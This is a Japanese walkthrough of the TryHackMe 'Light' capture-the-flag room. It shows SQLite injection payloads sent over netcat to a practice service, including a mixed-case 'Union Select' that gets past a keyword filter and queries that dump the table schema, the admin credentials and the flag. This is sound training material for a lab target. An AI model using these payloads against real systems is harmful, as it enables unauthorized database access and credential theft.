0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Light:Walkthrough

0
Posted at

概要

TryHackMe「Light」のWalkthroughです。

Task1

Q1.What is the admin username?

1337ポートに接続すると、DB接続が出来るようです。

$ nc 10.48.147.224 1337
Welcome to the Light database!

ユーザ名を入力すると、パスワードを得られました。

$ nc 10.48.147.224 1337
Welcome to the Light database!
Please enter your username: smokey
Password: vYQ5ngPpw8AdUmL

シングルクォーテーションを入れるとDBエラーが返って来たので、SQLインジェクションが出来そうだと分かりました。
また、コメントアウトなどの一部記号が使用できないと分かりました。

Please enter your username: '
Error: unrecognized token: "''' LIMIT 30"
Please enter your username: ' OR 1=1;--
For strange reasons I can't explain, any input containing /*, -- or, %0b is not allowed :)

OR分は使用できるようですが、UNION SELECT分は使用不可の様です。

Please enter your username: ' OR '1'='1
Password: tF8tj2o94WE4LKC
Please enter your username: ' union select 1 '
Ahh there is a word in there I don't like :(

UNION SELECTを大文字小文字で挿入すると、インジェクションに成功しました。

Please enter your username: ' Union Select 1 '
Password: 1

DBのバージョン情報を入手できました。

Please enter your username: ' Union Select sqlite_version() '
Password: 3.31.1

テーブル名を取得します。

Please enter your username: ' Union Select tbl_name FROM sqlite_master WHERE type='table' AND '1'='1
Password: admintable

テーブル作成時のSQL文を表示させ、カラム名が分かりました。

Please enter your username: ' Union Select sql FROM sqlite_master WHERE tbl_name='admintable' AND '1'='1
Password: CREATE TABLE admintable (
                   id INTEGER PRIMARY KEY,
                   username TEXT,
                   password INTEGER)

ユーザ名一覧を取得します。

Please enter your username: ' Union Select group_concat(username) FROM admintable WHERE '1'='1
Password: TryHackMeAdmin,flag

A.TryHackMeAdmin

Q2.What is the password to the username mentioned in question 1?

ユーザ名のパスワードを抽出します。

Please enter your username: ' Union Select password FROM admintable WHERE username='TryHackMeAdmin' AND '1'='1
Password: mamZtAuMlrsEy5bp6q17

A.mamZtAuMlrsEy5bp6q17

Q3.What is the flag?

フラグを入手できました。

Please enter your username: ' Union Select password FROM admintable WHERE username='flag' AND '1'='1
Password: THM{SQLit3_InJ3cTion_is_SimplE_nO?}          

A.THM{SQLit3_InJ3cTion_is_SimplE_nO?}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?